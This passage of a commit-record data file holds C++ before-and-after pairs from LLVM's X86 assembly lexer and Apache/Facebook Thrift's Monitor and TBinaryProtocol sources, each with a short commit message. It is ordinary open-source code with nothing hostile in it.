TargetMachine &Target) {\n  return new StackSlots(Target);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- X86AsmLexer.cpp - Tokenize X86 assembly to AsmTokens --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetAsmLexer.h\"\n#include \"llvm\/Target\/TargetRegistry.h\"\n#include \"llvm\/MC\/MCParser\/MCAsmLexer.h\"\n#include \"llvm\/MC\/MCParser\/MCParsedAsmOperand.h\"\n#include \"X86.h\"\n\nusing namespace llvm;\n\nnamespace {\n  \nclass X86AsmLexer : public TargetAsmLexer {\n  const MCAsmInfo &AsmInfo;\nprotected:\n  AsmToken LexToken();\npublic:\n  X86AsmLexer(const Target &T, const MCAsmInfo &MAI)\n    : TargetAsmLexer(T), AsmInfo(MAI) {\n  }\n};\n\n}\n\nAsmToken X86AsmLexer::LexToken() {\n  return AsmToken(AsmToken::Error, \"\", 0);\n}\n\nextern \"C\" void LLVMInitializeX86AsmLexer() {\n  RegisterAsmLexer<X86AsmLexer> X(TheX86_32Target);\n  RegisterAsmLexer<X86AsmLexer> Y(TheX86_64Target);\n}\n\n\/\/#define REGISTERS_ONLY\n\/\/#include \"..\/X86GenAsmMatcher.inc\"\n\/\/#undef REGISTERS_ONLY\n<commit_msg>Implemented the dialect decision logic for the X86 TargetAsmLexer.  Dialect-specific lexing code will be placed in the functions LexTokenATT() and LexTokenIntel().<commit_after>\/\/===-- X86AsmLexer.cpp - Tokenize X86 assembly to AsmTokens --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetAsmLexer.h\"\n#include \"llvm\/Target\/TargetRegistry.h\"\n#include \"llvm\/MC\/MCAsmInfo.h\"\n#include \"llvm\/MC\/MCParser\/MCAsmLexer.h\"\n#include \"llvm\/MC\/MCParser\/MCParsedAsmOperand.h\"\n#include \"X86.h\"\n\nusing namespace llvm;\n\nnamespace {\n  \nclass X86AsmLexer : public TargetAsmLexer {\n  const MCAsmInfo &AsmInfo;\n  \n  AsmToken LexTokenATT();\n  AsmToken LexTokenIntel();\nprotected:\n  AsmToken LexToken() {\n    switch (AsmInfo.getAssemblerDialect()) {\n    default:\n      SetError(SMLoc(), \"Unhandled dialect\");\n      return AsmToken(AsmToken::Error, \"\", 0);\n    case 0:\n      return LexTokenATT();\n    case 1:\n      return LexTokenIntel();\n    }\n  }\npublic:\n  X86AsmLexer(const Target &T, const MCAsmInfo &MAI)\n    : TargetAsmLexer(T), AsmInfo(MAI) {\n  }\n};\n\n}\n\nAsmToken X86AsmLexer::LexTokenATT() {\n  return AsmToken(AsmToken::Error, \"\", 0);\n}\n\nAsmToken X86AsmLexer::LexTokenIntel() {\n  return AsmToken(AsmToken::Error, \"\", 0);\n}\n\nextern \"C\" void LLVMInitializeX86AsmLexer() {\n  RegisterAsmLexer<X86AsmLexer> X(TheX86_32Target);\n  RegisterAsmLexer<X86AsmLexer> Y(TheX86_64Target);\n}\n\n\/\/#define REGISTERS_ONLY\n\/\/#include \"..\/X86GenAsmMatcher.inc\"\n\/\/#undef REGISTERS_ONLY\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n#include \"Monitor.h\"\n#include \"Exception.h\"\n#include \"Util.h\"\n\n#include <assert.h>\n#include <errno.h>\n\n#include <boost\/scoped_ptr.hpp>\n#include <boost\/thread.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\nnamespace apache { namespace thrift { namespace concurrency {\n\n\/**\n * Monitor implementation using the boost thread library\n *\n * @version $Id:$\n *\/\nclass Monitor::Impl : public boost::condition_variable {\n\n public:\n\n  Impl()\n     : ownedMutex_(new Mutex()),\n       mutex_(NULL) {\n    init(ownedMutex_.get());\n  }\n\n  Impl(Mutex* mutex)\n     : mutex_(NULL) {\n    init(mutex);\n  }\n\n  Impl(Monitor* monitor)\n     : mutex_(NULL) {\n    init(&(monitor->mutex()));\n  }\n\n  Mutex& mutex() { return *mutex_; }\n  void lock() { mutex().lock(); }\n  void unlock() { mutex().unlock(); }\n\n  \/**\n   * Exception-throwing version of waitForTimeRelative(), called simply\n   * wait(int64) for historical reasons.  Timeout is in milliseconds.\n   *\n   * If the condition occurs,  this function returns cleanly; on timeout or\n   * error an exception is thrown.\n   *\/\n  void wait(int64_t timeout_ms) {\n    int result = waitForTimeRelative(timeout_ms);\n    if (result == ETIMEDOUT) {\n      throw TimedOutException();\n    } else if (result != 0) {\n      throw TException(\n        \"Monitor::wait() failed\");\n    }\n  }\n\n  \/**\n   * Waits until the specified timeout in milliseconds for the condition to\n   * occur, or waits forever if timeout_ms == 0.\n   *\n   * Returns 0 if condition occurs, ETIMEDOUT on timeout, or an error code.\n   *\/\n  int waitForTimeRelative(int64_t timeout_ms) {\n    if (timeout_ms == 0LL) {\n      return waitForever();\n    }\n\n    assert(mutex_);\n\tboost::mutex* mutexImpl =\n      reinterpret_cast<boost::mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n\tboost::mutex::scoped_lock lock(*mutexImpl, boost::adopt_lock);\n\tint res = timed_wait(lock, boost::get_system_time()+boost::posix_time::milliseconds(timeout_ms)) ? 0 : ETIMEDOUT;\n\tlock.release();\n\treturn res;\n  }\n\n  \/**\n   * Waits until the absolute time specified using struct timespec.\n   * Returns 0 if condition occurs, ETIMEDOUT on timeout, or an error code.\n   *\/\n  int waitForTime(const timespec* abstime) {\n    assert(mutex_);\n    boost::mutex* mutexImpl =\n      reinterpret_cast<boost::mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n    struct timespec currenttime;\n    Util::toTimespec(currenttime, Util::currentTime());\n\n\tlong tv_sec = abstime->tv_sec - currenttime.tv_sec;\n\tlong tv_nsec = abstime->tv_nsec - currenttime.tv_nsec;\n\tif(tv_sec < 0)\n\t\ttv_sec = 0;\n\tif(tv_nsec < 0)\n\t\ttv_nsec = 0;\n\n\tboost::mutex::scoped_lock lock(*mutexImpl, boost::adopt_lock);\n\tint res = timed_wait(lock, boost::get_system_time() +\n\t\tboost::posix_time::seconds(tv_sec) +\n\t\tboost::posix_time::microseconds(tv_nsec \/ 1000)\n\t\t) ? 0 : ETIMEDOUT;\n\tlock.release();\n\treturn res;\n  }\n\n  \/**\n   * Waits forever until the condition occurs.\n   * Returns 0 if condition occurs, or an error code otherwise.\n   *\/\n  int waitForever() {\n    assert(mutex_);\n    boost::mutex* mutexImpl =\n      reinterpret_cast<boost::mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n\tboost::mutex::scoped_lock lock(*mutexImpl, boost::adopt_lock);\n\t((boost::condition_variable*)this)->wait(lock);\n\tlock.release();\n    return 0;\n  }\n\n\n  void notify() {\n\t  notify_one();\n  }\n\n  void notifyAll() {\n\t  notify_all();\n  }\n\n private:\n\n  void init(Mutex* mutex) {\n    mutex_ = mutex;\n  }\n\n  boost::scoped_ptr<Mutex> ownedMutex_;\n  Mutex* mutex_;\n};\n\nMonitor::Monitor() : impl_(new Monitor::Impl()) {}\nMonitor::Monitor(Mutex* mutex) : impl_(new Monitor::Impl(mutex)) {}\nMonitor::Monitor(Monitor* monitor) : impl_(new Monitor::Impl(monitor)) {}\n\nMonitor::~Monitor() { delete impl_; }\n\nMutex& Monitor::mutex() const { return const_cast<Monitor::Impl*>(impl_)->mutex(); }\n\nvoid Monitor::lock() const { const_cast<Monitor::Impl*>(impl_)->lock(); }\n\nvoid Monitor::unlock() const { const_cast<Monitor::Impl*>(impl_)->unlock(); }\n\nvoid Monitor::wait(int64_t timeout) const { const_cast<Monitor::Impl*>(impl_)->wait(timeout); }\n\nint Monitor::waitForTime(const timespec* abstime) const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForTime(abstime);\n}\n\nint Monitor::waitForTimeRelative(int64_t timeout_ms) const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForTimeRelative(timeout_ms);\n}\n\nint Monitor::waitForever() const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForever();\n}\n\nvoid Monitor::notify() const { const_cast<Monitor::Impl*>(impl_)->notify(); }\n\nvoid Monitor::notifyAll() const { const_cast<Monitor::Impl*>(impl_)->notifyAll(); }\n\n}}} \/\/ apache::thrift::concurrency\n<commit_msg>THRIFT-1361 Optional replacement of pthread by boost::thread revert boost changes<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n#include \"Monitor.h\"\n#include \"Exception.h\"\n#include \"Util.h\"\n\n#include <assert.h>\n#include <errno.h>\n\n#include <boost\/scoped_ptr.hpp>\n#include <boost\/thread.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/interprocess\/sync\/interprocess_mutex.hpp>\n#include <boost\/interprocess\/sync\/interprocess_condition.hpp>\n#include <boost\/interprocess\/sync\/scoped_lock.hpp>\n\nnamespace apache { namespace thrift { namespace concurrency {\n\nusing namespace boost::interprocess;\n\n\/**\n * Monitor implementation using the boost interprocess library\n *\n * @version $Id:$\n *\/\nclass Monitor::Impl : public interprocess_condition {\n\n public:\n\n  Impl()\n     : ownedMutex_(new Mutex()),\n       mutex_(NULL) {\n    init(ownedMutex_.get());\n  }\n\n  Impl(Mutex* mutex)\n     : mutex_(NULL) {\n    init(mutex);\n  }\n\n  Impl(Monitor* monitor)\n     : mutex_(NULL) {\n    init(&(monitor->mutex()));\n  }\n\n  Mutex& mutex() { return *mutex_; }\n  void lock() { mutex().lock(); }\n  void unlock() { mutex().unlock(); }\n\n  \/**\n   * Exception-throwing version of waitForTimeRelative(), called simply\n   * wait(int64) for historical reasons.  Timeout is in milliseconds.\n   *\n   * If the condition occurs,  this function returns cleanly; on timeout or\n   * error an exception is thrown.\n   *\/\n  void wait(int64_t timeout_ms) {\n    int result = waitForTimeRelative(timeout_ms);\n    if (result == ETIMEDOUT) {\n      throw TimedOutException();\n    } else if (result != 0) {\n      throw TException(\n        \"Monitor::wait() failed\");\n    }\n  }\n\n  \/**\n   * Waits until the specified timeout in milliseconds for the condition to\n   * occur, or waits forever if timeout_ms == 0.\n   *\n   * Returns 0 if condition occurs, ETIMEDOUT on timeout, or an error code.\n   *\/\n  int waitForTimeRelative(int64_t timeout_ms) {\n    if (timeout_ms == 0LL) {\n      return waitForever();\n    }\n\n    assert(mutex_);\n    interprocess_mutex* mutexImpl =\n      reinterpret_cast<interprocess_mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n\tscoped_lock<interprocess_mutex> lock(*mutexImpl, accept_ownership_type());\n\tint res = timed_wait(lock, boost::get_system_time()+boost::posix_time::milliseconds(timeout_ms)) ? 0 : ETIMEDOUT;\n\tlock.release();\n\treturn res;\n  }\n\n  \/**\n   * Waits until the absolute time specified using struct timespec.\n   * Returns 0 if condition occurs, ETIMEDOUT on timeout, or an error code.\n   *\/\n  int waitForTime(const timespec* abstime) {\n    assert(mutex_);\n    interprocess_mutex* mutexImpl =\n      reinterpret_cast<interprocess_mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n    struct timespec currenttime;\n    Util::toTimespec(currenttime, Util::currentTime());\n\n\tlong tv_sec = abstime->tv_sec - currenttime.tv_sec;\n\tlong tv_nsec = abstime->tv_nsec - currenttime.tv_nsec;\n\tif(tv_sec < 0)\n\t\ttv_sec = 0;\n\tif(tv_nsec < 0)\n\t\ttv_nsec = 0;\n\n\tscoped_lock<interprocess_mutex> lock(*mutexImpl, accept_ownership_type());\n\tint res = timed_wait(lock, boost::get_system_time() +\n\t\tboost::posix_time::seconds(tv_sec) +\n\t\tboost::posix_time::microseconds(tv_nsec \/ 1000)\n\t\t) ? 0 : ETIMEDOUT;\n\tlock.release();\n\treturn res;\n  }\n\n  \/**\n   * Waits forever until the condition occurs.\n   * Returns 0 if condition occurs, or an error code otherwise.\n   *\/\n  int waitForever() {\n    assert(mutex_);\n    interprocess_mutex* mutexImpl =\n      reinterpret_cast<interprocess_mutex*>(mutex_->getUnderlyingImpl());\n    assert(mutexImpl);\n\n\tscoped_lock<interprocess_mutex> lock(*mutexImpl, accept_ownership_type());\n\t((interprocess_condition*)this)->wait(lock);\n\tlock.release();\n    return 0;\n  }\n\n\n  void notify() {\n\t  notify_one();\n  }\n\n  void notifyAll() {\n\t  notify_all();\n  }\n\n private:\n\n  void init(Mutex* mutex) {\n    mutex_ = mutex;\n  }\n\n  boost::scoped_ptr<Mutex> ownedMutex_;\n  Mutex* mutex_;\n};\n\nMonitor::Monitor() : impl_(new Monitor::Impl()) {}\nMonitor::Monitor(Mutex* mutex) : impl_(new Monitor::Impl(mutex)) {}\nMonitor::Monitor(Monitor* monitor) : impl_(new Monitor::Impl(monitor)) {}\n\nMonitor::~Monitor() { delete impl_; }\n\nMutex& Monitor::mutex() const { return const_cast<Monitor::Impl*>(impl_)->mutex(); }\n\nvoid Monitor::lock() const { const_cast<Monitor::Impl*>(impl_)->lock(); }\n\nvoid Monitor::unlock() const { const_cast<Monitor::Impl*>(impl_)->unlock(); }\n\nvoid Monitor::wait(int64_t timeout) const { const_cast<Monitor::Impl*>(impl_)->wait(timeout); }\n\nint Monitor::waitForTime(const timespec* abstime) const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForTime(abstime);\n}\n\nint Monitor::waitForTimeRelative(int64_t timeout_ms) const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForTimeRelative(timeout_ms);\n}\n\nint Monitor::waitForever() const {\n  return const_cast<Monitor::Impl*>(impl_)->waitForever();\n}\n\nvoid Monitor::notify() const { const_cast<Monitor::Impl*>(impl_)->notify(); }\n\nvoid Monitor::notifyAll() const { const_cast<Monitor::Impl*>(impl_)->notifyAll(); }\n\n}}} \/\/ apache::thrift::concurrency\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006- Facebook\n\/\/ Distributed under the Thrift Software License\n\/\/\n\/\/ See accompanying file LICENSE or visit the Thrift site at:\n\/\/ http:\/\/developers.facebook.com\/thrift\/\n\n#include \"TBinaryProtocol.h\"\n\n#include <boost\/static_assert.hpp>\n\nusing std::string;\n\n\/\/ Use this to get around strict aliasing rules.\n\/\/ For example, uint64_t i = bitwise_cast<uint64_t>(returns_double());\n\/\/ The most obvious implementation is to just cast a pointer,\n\/\/ but that doesn't work.\n\/\/ For a pretty in-depth explanation of the problem, see\n\/\/ http:\/\/www.cellperformance.com\/mike_acton\/2006\/06\/ (...)\n\/\/ understanding_strict_aliasing.html\ntemplate <typename To, typename From>\nstatic inline To bitwise_cast(From from) {\n  BOOST_STATIC_ASSERT(sizeof(From) == sizeof(To));\n\n  \/\/ BAD!!!  These are all broken with -O2.\n  \/\/return *reinterpret_cast<To*>(&from);  \/\/ BAD!!!\n  \/\/return *static_cast<To*>(static_cast<void*>(&from));  \/\/ BAD!!!\n  \/\/return *(To*)(void*)&from;  \/\/ BAD!!!\n\n  \/\/ Super clean and paritally blessed by section 3.9 of the standard.\n  \/\/unsigned char c[sizeof(from)];\n  \/\/memcpy(c, &from, sizeof(from));\n  \/\/To to;\n  \/\/memcpy(&to, c, sizeof(c));\n  \/\/return to;\n\n  \/\/ Slightly more questionable.\n  \/\/ Same code emitted by GCC.\n  \/\/To to;\n  \/\/memcpy(&to, &from, sizeof(from));\n  \/\/return to;\n\n  \/\/ Technically undefined, but almost universally supported,\n  \/\/ and the most efficient implementation.\n  union {\n    From f;\n    To t;\n  } u;\n  u.f = from;\n  return u.t;\n}\n\n\nnamespace facebook { namespace thrift { namespace protocol {\n\nuint32_t TBinaryProtocol::writeMessageBegin(const std::string& name,\n                                            const TMessageType messageType,\n                                            const int32_t seqid) {\n  if (strict_write_) {\n    int32_t version = (VERSION_1) | ((int32_t)messageType);\n    uint32_t wsize = 0;\n    wsize += writeI32(version);\n    wsize += writeString(name);\n    wsize += writeI32(seqid);\n    return wsize;\n  } else {\n    uint32_t wsize = 0;\n    wsize += writeString(name);\n    wsize += writeByte((int8_t)messageType);\n    wsize += writeI32(seqid);\n    return wsize;\n  }\n}\n\nuint32_t TBinaryProtocol::writeMessageEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeStructBegin(const char* name) {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeStructEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeFieldBegin(const char* name,\n                                          const TType fieldType,\n                                          const int16_t fieldId) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)fieldType);\n  wsize += writeI16(fieldId);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeFieldEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeFieldStop() {\n  return\n    writeByte((int8_t)T_STOP);\n}\n\nuint32_t TBinaryProtocol::writeMapBegin(const TType keyType,\n                                        const TType valType,\n                                        const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)keyType);\n  wsize += writeByte((int8_t)valType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeMapEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeListBegin(const TType elemType,\n                                         const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t) elemType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeListEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeSetBegin(const TType elemType,\n                                        const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)elemType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeSetEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeBool(const bool value) {\n  uint8_t tmp =  value ? 1 : 0;\n  trans_->write(&tmp, 1);\n  return 1;\n}\n\nuint32_t TBinaryProtocol::writeByte(const int8_t byte) {\n  trans_->write((uint8_t*)&byte, 1);\n  return 1;\n}\n\nuint32_t TBinaryProtocol::writeI16(const int16_t i16) {\n  int16_t net = (int16_t)htons(i16);\n  trans_->write((uint8_t*)&net, 2);\n  return 2;\n}\n\nuint32_t TBinaryProtocol::writeI32(const int32_t i32) {\n  int32_t net = (int32_t)htonl(i32);\n  trans_->write((uint8_t*)&net, 4);\n  return 4;\n}\n\nuint32_t TBinaryProtocol::writeI64(const int64_t i64) {\n  int64_t net = (int64_t)htonll(i64);\n  trans_->write((uint8_t*)&net, 8);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::writeDouble(const double dub) {\n  BOOST_STATIC_ASSERT(sizeof(double) == sizeof(uint64_t));\n  BOOST_STATIC_ASSERT(std::numeric_limits<double>::is_iec559);\n\n  uint64_t bits = bitwise_cast<uint64_t>(dub);\n  bits = htonll(bits);\n  trans_->write((uint8_t*)&bits, 8);\n  return 8;\n}\n\n\nuint32_t TBinaryProtocol::writeString(const string& str) {\n  uint32_t size = str.size();\n  uint32_t result = writeI32((int32_t)size);\n  if (size > 0) {\n    trans_->write((uint8_t*)str.data(), size);\n  }\n  return result + size;\n}\n\nuint32_t TBinaryProtocol::writeBinary(const string& str) {\n  return TBinaryProtocol::writeString(str);\n}\n\n\/**\n * Reading functions\n *\/\n\nuint32_t TBinaryProtocol::readMessageBegin(std::string& name,\n                                           TMessageType& messageType,\n                                           int32_t& seqid) {\n  uint32_t result = 0;\n  int32_t sz;\n  result += readI32(sz);\n\n  if (sz < 0) {\n    \/\/ Check for correct version number\n    int32_t version = sz & VERSION_MASK;\n    if (version != VERSION_1) {\n      throw TProtocolException(TProtocolException::BAD_VERSION, \"Bad version identifier\");\n    }\n    messageType = (TMessageType)(sz & 0x000000ff);\n    result += readString(name);\n    result += readI32(seqid);\n  } else {\n    if (strict_read_) {\n      throw TProtocolException(TProtocolException::BAD_VERSION, \"No version identifier... old protocol client in strict mode?\");\n    } else {\n      \/\/ Handle pre-versioned input\n      int8_t type;\n      result += readStringBody(name, sz);\n      result += readByte(type);\n      messageType = (TMessageType)type;\n      result += readI32(seqid);\n    }\n  }\n  return result;\n}\n\nuint32_t TBinaryProtocol::readMessageEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readStructBegin(string& name) {\n  name = \"\";\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readStructEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readFieldBegin(string& name,\n                                         TType& fieldType,\n                                         int16_t& fieldId) {\n  uint32_t result = 0;\n  int8_t type;\n  result += readByte(type);\n  fieldType = (TType)type;\n  if (fieldType == T_STOP) {\n    fieldId = 0;\n    return result;\n  }\n  result += readI16(fieldId);\n  return result;\n}\n\nuint32_t TBinaryProtocol::readFieldEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readMapBegin(TType& keyType,\n                                       TType& valType,\n                                       uint32_t& size) {\n  int8_t k, v;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(k);\n  keyType = (TType)k;\n  result += readByte(v);\n  valType = (TType)v;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readMapEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readListBegin(TType& elemType,\n                                        uint32_t& size) {\n  int8_t e;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(e);\n  elemType = (TType)e;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readListEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readSetBegin(TType& elemType,\n                                       uint32_t& size) {\n  int8_t e;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(e);\n  elemType = (TType)e;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readSetEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readBool(bool& value) {\n  uint8_t b[1];\n  trans_->readAll(b, 1);\n  value = *(int8_t*)b != 0;\n  return 1;\n}\n\nuint32_t TBinaryProtocol::readByte(int8_t& byte) {\n  uint8_t b[1];\n  trans_->readAll(b, 1);\n  byte = *(int8_t*)b;\n  return 1;\n}\n\nuint32_t TBinaryProtocol::readI16(int16_t& i16) {\n  uint8_t b[2];\n  trans_->readAll(b, 2);\n  i16 = *(int16_t*)b;\n  i16 = (int16_t)ntohs(i16);\n  return 2;\n}\n\nuint32_t TBinaryProtocol::readI32(int32_t& i32) {\n  uint8_t b[4];\n  trans_->readAll(b, 4);\n  i32 = *(int32_t*)b;\n  i32 = (int32_t)ntohl(i32);\n  return 4;\n}\n\nuint32_t TBinaryProtocol::readI64(int64_t& i64) {\n  uint8_t b[8];\n  trans_->readAll(b, 8);\n  i64 = *(int64_t*)b;\n  i64 = (int64_t)ntohll(i64);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::readDouble(double& dub) {\n  BOOST_STATIC_ASSERT(sizeof(double) == sizeof(uint64_t));\n  BOOST_STATIC_ASSERT(std::numeric_limits<double>::is_iec559);\n\n  uint64_t bits;\n  uint8_t b[8];\n  trans_->readAll(b, 8);\n  bits = *(uint64_t*)b;\n  bits = ntohll(bits);\n  dub = bitwise_cast<double>(bits);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::readString(string& str) {\n  uint32_t result;\n  int32_t size;\n  result = readI32(size);\n  return result + readStringBody(str, size);\n}\n\nuint32_t TBinaryProtocol::readBinary(string& str) {\n  return TBinaryProtocol::readString(str);\n}\n\nuint32_t TBinaryProtocol::readStringBody(string& str, int32_t size) {\n  uint32_t result = 0;\n\n  \/\/ Catch error cases\n  if (size < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  }\n  if (string_limit_ > 0 && size > string_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n\n  \/\/ Catch empty string case\n  if (size == 0) {\n    str = \"\";\n    return result;\n  }\n\n  \/\/ Use the heap here to prevent stack overflow for v. large strings\n  if (size > string_buf_size_ || string_buf_ == NULL) {\n    void* new_string_buf = std::realloc(string_buf_, (uint32_t)size);\n    if (new_string_buf == NULL) {\n      throw TProtocolException(TProtocolException::UNKNOWN, \"Out of memory in TBinaryProtocol::readString\");\n    }\n    string_buf_ = (uint8_t*)new_string_buf;\n    string_buf_size_ = size;\n  }\n  trans_->readAll(string_buf_, size);\n  str = string((char*)string_buf_, size);\n  return (uint32_t)size;\n}\n\n}}} \/\/ facebook::thrift::protocol\n<commit_msg>Include <limits> in TBinaryProtocol.cpp for numeric_limits.<commit_after>\/\/ Copyright (c) 2006- Facebook\n\/\/ Distributed under the Thrift Software License\n\/\/\n\/\/ See accompanying file LICENSE or visit the Thrift site at:\n\/\/ http:\/\/developers.facebook.com\/thrift\/\n\n#include \"TBinaryProtocol.h\"\n\n#include <limits>\n#include <boost\/static_assert.hpp>\n\nusing std::string;\n\n\/\/ Use this to get around strict aliasing rules.\n\/\/ For example, uint64_t i = bitwise_cast<uint64_t>(returns_double());\n\/\/ The most obvious implementation is to just cast a pointer,\n\/\/ but that doesn't work.\n\/\/ For a pretty in-depth explanation of the problem, see\n\/\/ http:\/\/www.cellperformance.com\/mike_acton\/2006\/06\/ (...)\n\/\/ understanding_strict_aliasing.html\ntemplate <typename To, typename From>\nstatic inline To bitwise_cast(From from) {\n  BOOST_STATIC_ASSERT(sizeof(From) == sizeof(To));\n\n  \/\/ BAD!!!  These are all broken with -O2.\n  \/\/return *reinterpret_cast<To*>(&from);  \/\/ BAD!!!\n  \/\/return *static_cast<To*>(static_cast<void*>(&from));  \/\/ BAD!!!\n  \/\/return *(To*)(void*)&from;  \/\/ BAD!!!\n\n  \/\/ Super clean and paritally blessed by section 3.9 of the standard.\n  \/\/unsigned char c[sizeof(from)];\n  \/\/memcpy(c, &from, sizeof(from));\n  \/\/To to;\n  \/\/memcpy(&to, c, sizeof(c));\n  \/\/return to;\n\n  \/\/ Slightly more questionable.\n  \/\/ Same code emitted by GCC.\n  \/\/To to;\n  \/\/memcpy(&to, &from, sizeof(from));\n  \/\/return to;\n\n  \/\/ Technically undefined, but almost universally supported,\n  \/\/ and the most efficient implementation.\n  union {\n    From f;\n    To t;\n  } u;\n  u.f = from;\n  return u.t;\n}\n\n\nnamespace facebook { namespace thrift { namespace protocol {\n\nuint32_t TBinaryProtocol::writeMessageBegin(const std::string& name,\n                                            const TMessageType messageType,\n                                            const int32_t seqid) {\n  if (strict_write_) {\n    int32_t version = (VERSION_1) | ((int32_t)messageType);\n    uint32_t wsize = 0;\n    wsize += writeI32(version);\n    wsize += writeString(name);\n    wsize += writeI32(seqid);\n    return wsize;\n  } else {\n    uint32_t wsize = 0;\n    wsize += writeString(name);\n    wsize += writeByte((int8_t)messageType);\n    wsize += writeI32(seqid);\n    return wsize;\n  }\n}\n\nuint32_t TBinaryProtocol::writeMessageEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeStructBegin(const char* name) {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeStructEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeFieldBegin(const char* name,\n                                          const TType fieldType,\n                                          const int16_t fieldId) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)fieldType);\n  wsize += writeI16(fieldId);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeFieldEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeFieldStop() {\n  return\n    